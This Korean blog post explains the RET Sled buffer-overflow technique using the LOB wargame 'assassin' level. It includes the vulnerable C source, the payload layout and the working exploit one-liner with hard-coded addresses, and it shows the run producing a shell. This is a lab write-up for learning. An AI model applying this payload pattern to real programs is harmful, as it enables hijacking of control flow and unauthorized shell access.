RET Sled

Sisyphus·2022년 7월 16일
0

System Hacking - ELF 32

목록 보기
9/10

RET Sled 기법은 RET에 스택과 라이브러리 함수의 주소를 입력할 수 없을 때 사용합니다.

LOB의 assasin 문제를 예시로 알아보면

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}
  • 위 코드는 취약한 strcpy() 함수를 사용했기 때문에 버퍼 오버플로우 공격이 가능합니다.

  • 하지만 \xbf 필터링으로 인해 스택을 사용할 수 없고 \x40 필터링 때문에 라이브러리 함수의 주소를 직접 넣을 수 없습니다.

  • 그래서 RET Sled 기법을 사용해야 합니다.


스택 구조를 그려보면 아래 처럼 그려집니다.


RET Sled 기법은 RET 위치에 pop eip, jmp eip로 이루어진 ret 명령어를 입력해서 ret 명령이 2번 연속으로 실행되게 합니다.
이렇게 하면 RET 밑에 있는 코드가 실행됩니다.


그림을 그려서 설명을 해보면

ret 명령은 pop eip, jmp eip 명령으로 이루어져 있는데, pop eip를 하면 eip가 RET 밑에를 가리키게 됩니다.
그후 jmp eip를 하면 ret 명령어로 jump 하게 됩니다.


그후 다시 ret 명령을 실행하면, pop eip로 eip에 system 함수의 주소가 들어가게 되고 jmp eip를 하면 system 함수가 있는 곳으로 가서 system("/bin/sh")를 실행하게 됩니다.

그러면 최종적으로 쉘이 뜨게 됩니다.


RET Sled 기법을 이용해서 위에 예시의 익스플로잇 코드를 짜보면

NOP [44] + ret [4] + system [4] + dummy [4] + /bin/sh [4]

`python -c 'print "\x90"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`

실행을 해보면

$ ./assassin `python -c 'print "\x90"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
…?@AAAA廈@
bash$

쉘이 뜹니다.

0개의 댓글